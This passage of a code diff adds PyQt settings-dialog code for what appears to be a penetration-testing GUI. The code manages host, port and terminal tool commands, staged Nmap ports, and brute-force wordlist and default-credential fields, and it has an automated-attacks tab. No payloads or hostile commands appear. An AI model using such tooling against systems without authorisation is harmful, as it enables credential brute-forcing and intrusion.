the selectGroup stuff so no need to duplicate. + if tablerow != -1: + for row in [i for i in range(widget.rowCount()) if i not in [tablerow]]: + if widget.item(row,0).text() == text: + return False + return True + + #def nmapValidate(self): + def validateStagedNmapTab(self): # LEO: renamed and fixed bugs. TODO: this function is being called way too often. something seems wrong in the overall logic + validationPassed = self.validateNmapPorts(self.stage1Input) + validationPassed = self.validateNmapPorts(self.stage2Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage3Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage4Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage5Input) and validationPassed + return validationPassed + + ##################### TOOLS / HOST COMMANDS FUNCTIONS ##################### + + def addToolForHost(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + currentRows = self.toolForHostsTableWidget.rowCount() + self.toolForHostsTableWidget.setRowCount(currentRows + 1) + + self.toolForHostsTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.item(self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) + self.toolForHostsTableWidget.selectRow(currentRows) + self.settings.hostActions.append(['', 'New_Action_'+str(self.hostActionsNumber), '']) + self.hostActionsNumber +=1 + self.updateToolForHostInformation() + + def removeToolForHost(self): + row = self.toolForHostsTableWidget.currentRow() + + # set default values to avoid the error when the first action is add and remove tools + self.hostActionNameText.setText('removed') + self.hostLabelText.setText('removed') + self.hostCommandText.setText('removed') + + for tool in self.settings.hostActions: + if tool[1] == str(self.hostActionNameText.text()): + self.settings.hostActions.remove(tool) + break + + self.toolForHostsTableWidget.removeRow(row) + + self.toolForHostsTableWidget.selectRow(row-1) + + self.hostTableRow = self.toolForHostsTableWidget.currentRow() + + self.updateToolForHostInformation(False) + + def updateHostActions(self): + self.settings.hostActions[self.hostTableRow][0] = str(self.hostLabelText.text()) + self.settings.hostActions[self.hostTableRow][2] = str(self.hostCommandText.text()) + + # update variable -> do not update the values when a line is removed + def updateToolForHostInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + + # do not update any values the first time or when the remove button is clicked + if self.hostTableRow == -1 or update == False: + pass + else: + self.updateHostActions() + +# self.hostLabelText.setStyleSheet("border: 1px solid grey;") +# self.hostCommandText.setStyleSheet("border: 1px solid grey;") + self.hostTableRow = self.toolForHostsTableWidget.currentRow() + self.hostLabelText.setReadOnly(False) + if self.toolForHostsTableWidget.item(self.hostTableRow, 0) is not None: + key = self.toolForHostsTableWidget.item(self.hostTableRow, 0).text() + for tool in self.settings.hostActions: + if tool[1] == key: + self.hostActionNameText.setText(tool[1]) + self.hostLabelText.setText(tool[0]) + self.hostCommandText.setText(tool[2]) + else: + self.toolForHostsTableWidget.selectRow(self.hostTableRow) + + # this function is used to REAL TIME update the tool table when a user enters a edit a tool name in the HOST/PORT/TERMINAL commands tabs + # LEO: this one replaces updateToolForHostTable + updateToolForServicesTable + updateToolForTerminalTable + def realTimeToolNameUpdate(self, tablewidget, text): # the name still sucks, sorry. at least it's refactored + row = tablewidget.currentRow() + if row != -1: + tablewidget.item(row, 0).setText(str(text)) + + ##################### TOOLS / PORT COMMANDS FUNCTIONS ##################### + + def addToolForService(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + currentRows = self.toolForServiceTableWidget.rowCount() + self.toolForServiceTableWidget.setRowCount(currentRows + 1) + self.toolForServiceTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.item(self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) + self.toolForServiceTableWidget.selectRow(currentRows) + self.settings.portActions.append(['', 'New_Action_'+str(self.portActionsNumber), '']) + self.portActionsNumber +=1 + self.updateToolForServiceInformation() + + def removeToolForService(self): + row = self.toolForServiceTableWidget.currentRow() + self.portActionNameText.setText('removed') + self.portLabelText.setText('removed') + self.portCommandText.setText('removed') + for tool in self.settings.portActions: + if tool[1] == str(self.portActionNameText.text()): + self.settings.portActions.remove(tool) + break + self.toolForServiceTableWidget.removeRow(row) + self.toolForServiceTableWidget.selectRow(row-1) + self.portTableRow = self.toolForServiceTableWidget.currentRow() + self.updateToolForServiceInformation(False) + + def updatePortActions(self): + self.settings.portActions[self.portTableRow][0] = str(self.portLabelText.text()) + self.settings.portActions[self.portTableRow][2] = str(self.portCommandText.text()) + + def updateToolForServiceInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + # the first time do not update anything + if self.portTableRow == -1 or update == False: + print('no update') + pass + else: + print('update done') + self.updatePortActions() +# self.portLabelText.setStyleSheet("border: 1px solid grey;") +# self.portCommandText.setStyleSheet("border: 1px solid grey;") + self.portTableRow = self.toolForServiceTableWidget.currentRow() + self.portLabelText.setReadOnly(False) + + if self.toolForServiceTableWidget.item(self.portTableRow, 0) is not None: + key = self.toolForServiceTableWidget.item(self.portTableRow, 0).text() + for tool in self.settings.portActions: + if tool[1] == key: + self.portActionNameText.setText(tool[1]) + self.portLabelText.setText(tool[0]) + self.portCommandText.setText(tool[2]) + # for the case that the tool (ex. new added tool) does not have services assigned + if len(tool) == 4: + servicesList = tool[3].split(',') + self.terminalServicesActiveTable.setRowCount(len(servicesList)) + for i in range(len(servicesList)): + self.terminalServicesActiveTable.setItem(i, 0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) + else: + self.toolForServiceTableWidget.selectRow(self.portTableRow) + + ##################### TOOLS / TERMINAL COMMANDS FUNCTIONS ##################### + + def addToolForTerminal(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + currentRows = self.toolForTerminalTableWidget.rowCount() + self.toolForTerminalTableWidget.setRowCount(currentRows + 1) + self.toolForTerminalTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.item(self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) + self.toolForTerminalTableWidget.selectRow(currentRows) + self.settings.portTerminalActions.append(['', 'New_Action_'+str(self.terminalActionsNumber), '']) + self.terminalActionsNumber +=1 + self.updateToolForTerminalInformation() + + def removeToolForTerminal(self): + row = self.toolForTerminalTableWidget.currentRow() + self.terminalActionNameText.setText('removed') + self.terminalLabelText.setText('removed') + self.terminalCommandText.setText('removed') + for tool in self.settings.portTerminalActions: + if tool[1] == str(self.terminalActionNameText.text()): + self.settings.portTerminalActions.remove(tool) + break + self.toolForTerminalTableWidget.removeRow(row) + self.toolForTerminalTableWidget.selectRow(row-1) + self.portTableRow = self.toolForTerminalTableWidget.currentRow() + self.updateToolForTerminalInformation(False) + + def updateTerminalActions(self): + self.settings.portTerminalActions[self.terminalTableRow][0] = str(self.terminalLabelText.text()) + self.settings.portTerminalActions[self.terminalTableRow][2] = str(self.terminalCommandText.text()) + + def updateToolForTerminalInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + # do not update anything the first time or when you remove a line + if self.terminalTableRow == -1 or update == False: + pass + else: + self.updateTerminalActions() + +# self.terminalLabelText.setStyleSheet("border: 1px solid grey;") +# self.terminalCommandText.setStyleSheet("border: 1px solid grey;") + self.terminalTableRow = self.toolForTerminalTableWidget.currentRow() + self.terminalLabelText.setReadOnly(False) + + if self.toolForTerminalTableWidget.item(self.terminalTableRow, 0) is not None: + key = self.toolForTerminalTableWidget.item(self.terminalTableRow, 0).text() + for tool in self.settings.portTerminalActions: + if tool[1] == key: + self.terminalActionNameText.setText(tool[1]) + self.terminalLabelText.setText(tool[0]) + self.terminalCommandText.setText(tool[2]) + # for the case that the tool (ex. new added tool) does not have any service assigned + if len(tool) == 4: + servicesList = tool[3].split(',') + self.terminalServicesActiveTable.setRowCount(len(servicesList)) + for i in range(len(servicesList)): + self.terminalServicesActiveTable.setItem(i, 0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) + else: + self.toolForTerminalTableWidget.selectRow(self.terminalTableRow) + + ##################### TOOLS / AUTOMATED ATTACKS FUNCTIONS ##################### + + def enableAutoToolsTab(self): # when 'Run automated attacks' is checked this function is called + if self.enableAutoAttacks.isChecked(): + self.AutoAttacksSettingsTab.setTabEnabled(1,True) + else: + self.AutoAttacksSettingsTab.setTabEnabled(1,False) + + #def selectDefaultServices(self): # toggles select/deselect all default creds checkboxes + def toggleDefaultServices(self): # toggles select/deselect all default creds checkboxes + for service in self.defaultServicesList: + if not self.typeDic[service][2].isChecked() == self.checkDefaultCred.isChecked(): + self.typeDic[service][2].toggle() + + #def addRemoveServices(self, add=True): + def moveService(self, src, dst): # in the multiple choice widget (port/terminal commands tabs) it transfers services bidirectionally + if src.selectionModel().selectedRows(): + row = src.currentRow() + dst.setRowCount(dst.rowCount() + 1) + dst.setItem(dst.rowCount() - 1, 0, QtGui.QTableWidgetItem()) + dst.item(dst.rowCount() - 1, 0).setText(str(src.item(row, 0).text())) + src.removeRow(row) + + ##################### SETUP FUNCTIONS ##################### + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Settings') + self.setFixedSize(900, 500) + + self.flayout = QtGui.QVBoxLayout() + self.settingsTabWidget = QtGui.QTabWidget() + self.settingsTabWidget.setTabBar(SettingsTabBarWidget(width=200,height=25)) + self.settingsTabWidget.setTabPosition(QtGui.QTabWidget.West) # put the tab titles on the left + + # left tab menu items + self.GeneralSettingsTab = QtGui.QWidget() + self.BruteSettingsTab = QtGui.QWidget() + self.ToolSettingsTab = QtGui.QTabWidget() + self.WordlistsSettingsTab = QtGui.QTabWidget() + self.AutoAttacksSettingsTab = QtGui.QTabWidget() + + self.setupGeneralTab() + self.setupBruteTab() + self.setupToolsTab() + self.setupAutomatedAttacksTab() + + self.settingsTabWidget.addTab(self.GeneralSettingsTab,"General") + self.settingsTabWidget.addTab(self.BruteSettingsTab,"Brute") + self.settingsTabWidget.addTab(self.ToolSettingsTab,"Tools") + self.settingsTabWidget.addTab(self.WordlistsSettingsTab,"Wordlists") + self.settingsTabWidget.addTab(self.AutoAttacksSettingsTab,"Automated Attacks") + + self.settingsTabWidget.setCurrentIndex(0) + + self.flayout.addWidget(self.settingsTabWidget) + + self.horLayout1 = QtGui.QHBoxLayout() + self.cancelButton = QPushButton('Cancel') + self.cancelButton.setMaximumSize(60, 30) + self.applyButton = QPushButton('Apply') + self.applyButton.setMaximumSize(60, 30) + self.spacer2 = QSpacerItem(750,0) + self.horLayout1.addItem(self.spacer2) + self.horLayout1.addWidget(self.applyButton) + self.horLayout1.addWidget(self.cancelButton) + + self.flayout.addLayout(self.horLayout1) + self.setLayout(self.flayout) + + def setupGeneralTab(self): + self.terminalLabel = QtGui.QLabel() + self.terminalLabel.setText('Terminal') + self.terminalLabel.setFixedWidth(150) + self.terminalComboBox = QtGui.QComboBox() + self.terminalComboBox.setFixedWidth(150) + self.terminalComboBox.setMinimumContentsLength(3) + self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.terminalComboBox.setCurrentIndex(0) + self.hlayout1 = QtGui.QHBoxLayout() + self.hlayout1.addWidget(self.terminalLabel) + self.hlayout1.addWidget(self.terminalComboBox) + self.hlayout1.addStretch() + + self.label3 = QtGui.QLabel() + self.label3.setText('Maximum processes') + self.label3.setFixedWidth(150) + self.fastProcessesNumber = [] + for i in range(1, 50): + self.fastProcessesNumber.append(str(i)) + self.fastProcessesComboBox = QtGui.QComboBox() + self.fastProcessesComboBox.insertItems(0, self.fastProcessesNumber) + self.fastProcessesComboBox.setMinimumContentsLength(3) + self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.fastProcessesComboBox.setCurrentIndex(19) + self.fastProcessesComboBox.setFixedWidth(150) + self.fastProcessesComboBox.setMaxVisibleItems(3) + self.hlayoutGeneral_4 = QtGui.QHBoxLayout() + self.hlayoutGeneral_4.addWidget(self.label3) + self.hlayoutGeneral_4.addWidget(self.fastProcessesComboBox) + self.hlayoutGeneral_4.addStretch() + + self.label1 = QtGui.QLabel() + self.label1.setText('Screenshot timeout') + self.label1.setFixedWidth(150) + self.screenshotTextinput = QtGui.QLineEdit() + self.screenshotTextinput.setFixedWidth(150) + self.hlayoutGeneral_2 = QtGui.QHBoxLayout() + self.hlayoutGeneral_2.addWidget(self.label1) + self.hlayoutGeneral_2.addWidget(self.screenshotTextinput) + self.hlayoutGeneral_2.addStretch() + + self.label2 = QtGui.QLabel() + self.label2.setText('Web services') + self.label2.setFixedWidth(150) + self.webServicesTextinput = QtGui.QLineEdit() + self.webServicesTextinput.setFixedWidth(350) + self.hlayoutGeneral_3 = QtGui.QHBoxLayout() + self.hlayoutGeneral_3.addWidget(self.label2) + self.hlayoutGeneral_3.addWidget(self.webServicesTextinput) + self.hlayoutGeneral_3.addStretch() + + self.checkStoreClearPW = QtGui.QCheckBox() + self.checkStoreClearPW.setText('Store cleartext passwords on exit') + self.hlayoutGeneral_6 = QtGui.QHBoxLayout() + self.hlayoutGeneral_6.addWidget(self.checkStoreClearPW) + + self.checkBlackBG = QtGui.QCheckBox() + self.checkBlackBG.setText('Use black backgrounds for tool output') + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.checkBlackBG) + + self.vlayoutGeneral = QtGui.QVBoxLayout(self.GeneralSettingsTab) + self.vlayoutGeneral.addLayout(self.hlayout1) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_2) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_3) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_6) + self.vlayoutGeneral.addLayout(self.hlayout2) + + self.generalSpacer = QSpacerItem(10,350) + self.vlayoutGeneral.addItem(self.generalSpacer) + + def setupBruteTab(self): + self.vlayoutBrute = QtGui.QVBoxLayout(self.BruteSettingsTab) + + self.label5 = QtGui.QLabel() + self.label5.setText('Username lists path') + self.label5.setFixedWidth(150) + self.userlistPath = QtGui.QLineEdit() + self.userlistPath.setFixedWidth(350) + self.browseUsersListButton = QPushButton('Browse') + self.browseUsersListButton.setMaximumSize(80, 30) + self.hlayoutGeneral_7 = QtGui.QHBoxLayout() + self.hlayoutGeneral_7.addWidget(self.label5) + self.hlayoutGeneral_7.addWidget(self.userlistPath) + self.hlayoutGeneral_7.addWidget(self.browseUsersListButton) + self.hlayoutGeneral_7.addStretch() + + self.label6 = QtGui.QLabel() + self.label6.setText('Password lists path') + self.label6.setFixedWidth(150) + self.passwordlistPath = QtGui.QLineEdit() + self.passwordlistPath.setFixedWidth(350) + self.browsePasswordsListButton = QPushButton('Browse') + self.browsePasswordsListButton.setMaximumSize(80, 30) + self.hlayoutGeneral_8 = QtGui.QHBoxLayout() + self.hlayoutGeneral_8.addWidget(self.label6) + self.hlayoutGeneral_8.addWidget(self.passwordlistPath) + self.hlayoutGeneral_8.addWidget(self.browsePasswordsListButton) + self.hlayoutGeneral_8.addStretch() + + self.label7 = QtGui.QLabel() + self.label7.setText('Default username') + self.label7.setFixedWidth(150) + self.defaultUserText = QtGui.QLineEdit() + self.defaultUserText.setFixedWidth(125) + self.hlayoutGeneral_9 = QtGui.QHBoxLayout() + self.hlayoutGeneral_9.addWidget(self.label7) + self.hlayoutGeneral_9.addWidget(self.defaultUserText) + self.hlayoutGeneral_9.addStretch() + + self.label8 = QtGui.QLabel() + self.label8.setText('Default password') + self.label8.setFixedWidth(150) + self.defaultPassText = QtGui.QLineEdit() + self.defaultPassText.setFixedWidth(125) + self.hlayoutGeneral_10 = QtGui.QHBoxLayout() + self.hlayoutGeneral_10.addWidget(self.label8) + self.hlayoutGeneral_10.addWidget(self.defaultPassText) + self.hlayoutGeneral_10.addStretch() + + self.vlayoutBrute.addLayout(self.hlayoutGeneral_7) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_8) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_9) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_10) + self.bruteSpacer = QSpacerItem(10,380) + self.vlayoutBrute.addItem(self.bruteSpacer) + + def setupToolsTab(self): + self.ToolPathsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.ToolPathsWidget, "Tool Paths") + self.HostActionsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.HostActionsWidget, "Host Commands") + self.PortActionsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.PortActionsWidget, "Port Commands") + self.portTerminalActionsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.portTerminalActionsWidget, "Terminal Commands") + self.StagedNmapWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.StagedNmapWidget, "Staged Nmap") + + self.setupToolPathsTab() + self.setupHostCommandsTab() + self.setupPortCommandsTab() + self.setupTerminalCommandsTab() + self.setupStagedNmapTab() + + def setupToolPathsTab(self): + self.nmapPathlabel = QtGui.QLabel() + self.nmapPathlabel.setText('Nmap') + self.nmapPathlabel.setFixedWidth(100) + self.nmapPathInput = QtGui.QLineEdit() + self.nmapPathHorLayout = QtGui.QHBoxLayout() + self.nmapPathHorLayout.addWidget(self.nmapPathlabel) + self.nmapPathHorLayout.addWidget(self.nmapPathInput) + self.nmapPathHorLayout.addStretch() + + self.hydraPathlabel = QtGui.QLabel() + self.hydraPathlabel.setText('Hydra') + self.hydraPathlabel.setFixedWidth(100) + self.hydraPathInput = QtGui.QLineEdit() + self.hydraPathHorLayout = QtGui.QHBoxLayout() + self.hydraPathHorLayout.addWidget(self.hydraPathlabel) + self.hydraPathHorLayout.addWidget(self.hydraPathInput) + self.hydraPathHorLayout.addStretch() + + self.cutycaptPathlabel = QtGui.QLabel() + self.cutycaptPathlabel.setText('Cutycapt') + self.cutycaptPathlabel.setFixedWidth(100) + self.cutycaptPathInput = QtGui.QLineEdit() + self.cutycaptPathHorLayout = QtGui.QHBoxLayout() + self.cutycaptPathHorLayout.addWidget(self.cutycaptPathlabel) + self.cutycaptPathHorLayout.addWidget(self.cutycaptPathInput) + self.cutycaptPathHorLayout.addStretch() + + self.textEditorPathlabel = QtGui.QLabel() + self.textEditorPathlabel.setText('Text editor') + self.textEditorPathlabel.setFixedWidth(100) + self.textEditorPathInput = QtGui.QLineEdit() + self.textEditorPathHorLayout = QtGui.QHBoxLayout() + self.textEditorPathHorLayout.addWidget(self.textEditorPathlabel) + self.textEditorPathHorLayout.addWidget(self.textEditorPathInput) + self.textEditorPathHorLayout.addStretch() + + self.toolsPathVerLayout = QtGui.QVBoxLayout() + self.toolsPathVerLayout.addLayout(self.nmapPathHorLayout) + self.toolsPathVerLayout.addLayout(self.hydraPathHorLayout) + self.toolsPathVerLayout.addLayout(self.cutycaptPathHorLayout) + self.toolsPathVerLayout.addLayout(self.textEditorPathHorLayout) + self.toolsPathVerLayout.addStretch() + + self.globToolsPathHorLayout = QtGui.QHBoxLayout(self.ToolPathsWidget) + self.globToolsPathHorLayout.addLayout(self.toolsPathVerLayout) + self.toolsPathHorSpacer = QSpacerItem(50,0) # right margin spacer + self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) + + def setupHostCommandsTab(self): + self.toolForHostsTableWidget = QtGui.QTableWidget(self.HostActionsWidget) + self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForHostsTableWidget.setFixedWidth(180) + self.toolForHostsTableWidget.setShowGrid(False) # to make the cells of the table read only + self.toolForHostsTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + + self.toolForHostsTableWidget.setColumnCount(1) + self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForHostsTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForHostsTableWidget.horizontalHeader().setVisible(False) + self.toolForHostsTableWidget.verticalHeader().setVisible(False) # row header - is hidden + self.toolForHostsTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + + self.horLayoutPortActions = QtGui.QHBoxLayout() + self.removeToolForHostButton = QPushButton('Remove') + self.removeToolForHostButton.setMaximumSize(90, 30) + self.addToolForHostButton = QPushButton('Add') + self.addToolForHostButton.setMaximumSize(90, 30) + self.horLayoutPortActions.addWidget(self.addToolForHostButton) + self.horLayoutPortActions.addWidget(self.removeToolForHostButton) + + self.actionHost = QtGui.QLabel() + self.actionHost.setText('Tools') + + self.verLayoutPortActions = QtGui.QVBoxLayout() + self.verLayoutPortActions.addWidget(self.actionHost) + self.verLayoutPortActions.addWidget(self.toolForHostsTableWidget) + self.verLayoutPortActions.addLayout(self.horLayoutPortActions) + + self.verLayout1 = QtGui.QVBoxLayout() + + self.horLayout4 = QtGui.QHBoxLayout() + self.label12 = QtGui.QLabel() + self.label12.setText('Tool') + self.label12.setFixedWidth(70) + self.hostActionNameText = QtGui.QLineEdit() + + self.horLayout4.addWidget(self.label12) + self.horLayout4.addWidget(self.hostActionNameText) + + self.label9 = QtGui.QLabel() + self.label9.setText('Label') + self.label9.setFixedWidth(70) + + self.hostLabelText = QtGui.QLineEdit() + self.hostLabelText.setText(' ') + self.hostLabelText.setReadOnly(True) + + self.horLayout1 = QtGui.QHBoxLayout() + self.horLayout1.addWidget(self.label9) + self.horLayout1.addWidget(self.hostLabelText) + + self.horLayout2 = QtGui.QHBoxLayout() + self.label10 = QtGui.QLabel() + self.label10.setText('Command') + self.label10.setFixedWidth(70) + + self.hostCommandText = QtGui.QLineEdit() + self.hostCommandText.setText('init value') + self.horLayout2.addWidget(self.label10) + self.horLayout2.addWidget(self.hostCommandText) + + self.spacer6 = QSpacerItem(0,20) + self.verLayout1.addItem(self.spacer6) + self.verLayout1.addLayout(self.horLayout4) + self.verLayout1.addLayout(self.horLayout1) + self.verLayout1.addLayout(self.horLayout2) + self.spacer1 = QSpacerItem(0,800) + self.verLayout1.addItem(self.spacer1) + + self.globLayoutPortActions = QtGui.QHBoxLayout(self.HostActionsWidget) + self.globLayoutPortActions.addLayout(self.verLayoutPortActions) + self.spacer5 = QSpacerItem(10,0) + self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addLayout(self.verLayout1) + self.spacer2 = QSpacerItem(50,0) + self.globLayoutPortActions.addItem(self.spacer2) + + def setupPortCommandsTab(self): + self.label11 = QtGui.QLabel() + self.label11.setText('Tools') + + self.toolForServiceTableWidget = QtGui.QTableWidget(self.PortActionsWidget) + self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForServiceTableWidget.setFixedWidth(180) + self.toolForServiceTableWidget.setShowGrid(False) + self.toolForServiceTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + # table headers + self.toolForServiceTableWidget.setColumnCount(1) + self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForServiceTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForServiceTableWidget.horizontalHeader().setVisible(False) + self.toolForServiceTableWidget.verticalHeader().setVisible(False) + self.toolForServiceTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + + self.horLayoutPortActions = QtGui.QHBoxLayout() + self.addToolButton = QPushButton('Add') + self.addToolButton.setMaximumSize(90, 30) + self.removeToolButton = QPushButton('Remove') + self.removeToolButton.setMaximumSize(90, 30) + self.horLayoutPortActions.addWidget(self.addToolButton) + self.horLayoutPortActions.addWidget(self.removeToolButton) + + self.verLayoutPortActions = QtGui.QVBoxLayout() + self.verLayoutPortActions.addWidget(self.label11) + self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) + self.verLayoutPortActions.addLayout(self.horLayoutPortActions) + + self.verLayout1 = QtGui.QVBoxLayout() + # right side + self.horLayout4 = QtGui.QHBoxLayout() + self.label12 = QtGui.QLabel() + self.label12.setText('Tool') + self.label12.setFixedWidth(70) + self.portActionNameText = QtGui.QLineEdit() + self.horLayout4.addWidget(self.label12) + self.horLayout4.addWidget(self.portActionNameText) + + self.horLayout1 = QtGui.QHBoxLayout() + self.label9 = QtGui.QLabel() + self.label9.setText('Label') + self.label9.setFixedWidth(70) + self.portLabelText = QtGui.QLineEdit() + self.portLabelText.setText(' ') + self.portLabelText.setReadOnly(True) + self.horLayout1.addWidget(self.label9) + self.horLayout1.addWidget(self.portLabelText) + + self.horLayout2 = QtGui.QHBoxLayout() + self.label10 = QtGui.QLabel() + self.label10.setText('Command') + self.label10.setFixedWidth(70) + self.portCommandText = QtGui.QLineEdit() + self.portCommandText.setText('init value') + self.horLayout2.addWidget(self.label10) + self.horLayout2.addWidget(self.portCommandText) + + self.servicesAllTableWidget = QtGui.QTableWidget() + self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesAllTableWidget.setMaximumSize(150, 300) + self.servicesAllTableWidget.setColumnCount(1) + self.servicesAllTableWidget.horizontalHeader().resizeSection(0,150) + self.servicesAllTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.servicesAllTableWidget.horizontalHeaderItem(0).setText("Name") + self.servicesAllTableWidget.horizontalHeader().setVisible(False) + self.servicesAllTableWidget.setShowGrid(False) + self.servicesAllTableWidget.verticalHeader().setVisible(False) + + self.servicesActiveTableWidget = QtGui.QTableWidget() + self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesActiveTableWidget.setMaximumSize(150, 300) + self.servicesActiveTableWidget.setColumnCount(1) + self.servicesActiveTableWidget.horizontalHeader().resizeSection(0,150) + self.servicesActiveTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.servicesActiveTableWidget.horizontalHeaderItem(0).setText("Name") + self.servicesActiveTableWidget.horizontalHeader().setVisible(False) + self.servicesActiveTableWidget.setShowGrid(False) + self.servicesActiveTableWidget.verticalHeader().setVisible(False) + + self.verLayout2 = QtGui.QVBoxLayout() + + self.addServicesButton = QPushButton('-->') + self.addServicesButton.setMaximumSize(30, 30) + self.removeServicesButton = QPushButton('<--') + self.removeServicesButton.setMaximumSize(30, 30) + + self.spacer4 = QSpacerItem(0,90) # space above and below arrow buttons + self.verLayout2.addItem(self.spacer4) + self.verLayout2.addWidget(self.addServicesButton) + self.verLayout2.addWidget(self.removeServicesButton) + self.verLayout2.addItem(self.spacer4) + + self.horLayout3 = QtGui.QHBoxLayout() # space left of multiple choice widget + self.spacer3 = QSpacerItem(78,0) + self.horLayout3.addItem(self.spacer3) + self.horLayout3.addWidget(self.servicesAllTableWidget) + self.horLayout3.addLayout(self.verLayout2) + self.horLayout3.addWidget(self.servicesActiveTableWidget) + + self.spacer6 = QSpacerItem(0,20) # top right space + self.verLayout1.addItem(self.spacer6) + self.verLayout1.addLayout(self.horLayout4) + self.verLayout1.addLayout(self.horLayout1) + self.verLayout1.addLayout(self.horLayout2) + self.verLayout1.addLayout(self.horLayout3) + self.spacer1 = QSpacerItem(0,50) # bottom right space + self.verLayout1.addItem(self.spacer1) + + self.globLayoutPortActions = QtGui.QHBoxLayout(self.PortActionsWidget) + self.globLayoutPortActions.addLayout(self.verLayoutPortActions) + + self.spacer5 = QSpacerItem(10,0) # space between left and right layouts + self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addLayout(self.verLayout1) + self.spacer2 = QSpacerItem(50,0) # right margin space + self.globLayoutPortActions.addItem(self.spacer2) + + def setupTerminalCommandsTab(self): + self.actionTerminalLabel = QtGui.QLabel() + self.actionTerminalLabel.setText('Tools') + + self.toolForTerminalTableWidget = QtGui.QTableWidget(self.portTerminalActionsWidget) + self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForTerminalTableWidget.setFixedWidth(180) + self.toolForTerminalTableWidget.setShowGrid(False) + # to make the cells of the table read only + self.toolForTerminalTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + # table headers + self.toolForTerminalTableWidget.setColumnCount(1) + self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForTerminalTableWidget.horizontalHeader().setVisible(False) + self.toolForTerminalTableWidget.verticalHeader().setVisible(False) + self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + + self.horLayout1 = QtGui.QHBoxLayout() + self.addToolForTerminalButton = QPushButton('Add') + self.addToolForTerminalButton.setMaximumSize(90, 30) + self.removeToolForTerminalButton = QPushButton('Remove') + self.removeToolForTerminalButton.setMaximumSize(90, 30) + self.horLayout1.addWidget(self.addToolForTerminalButton) + self.horLayout1.addWidget(self.removeToolForTerminalButton) + + self.verLayout1 = QtGui.QVBoxLayout() + self.verLayout1.addWidget(self.actionTerminalLabel) + self.verLayout1.addWidget(self.toolForTerminalTableWidget) + self.verLayout1.addLayout(self.horLayout1) + + self.horLayout2 = QtGui.QHBoxLayout() + self.actionNameTerminalLabel = QtGui.QLabel() + self.actionNameTerminalLabel.setText('Tool') + self.actionNameTerminalLabel.setFixedWidth(70) + self.terminalActionNameText = QtGui.QLineEdit() + self.horLayout2.addWidget(self.actionNameTerminalLabel) + self.horLayout2.addWidget(self.terminalActionNameText) + + self.horLayout3 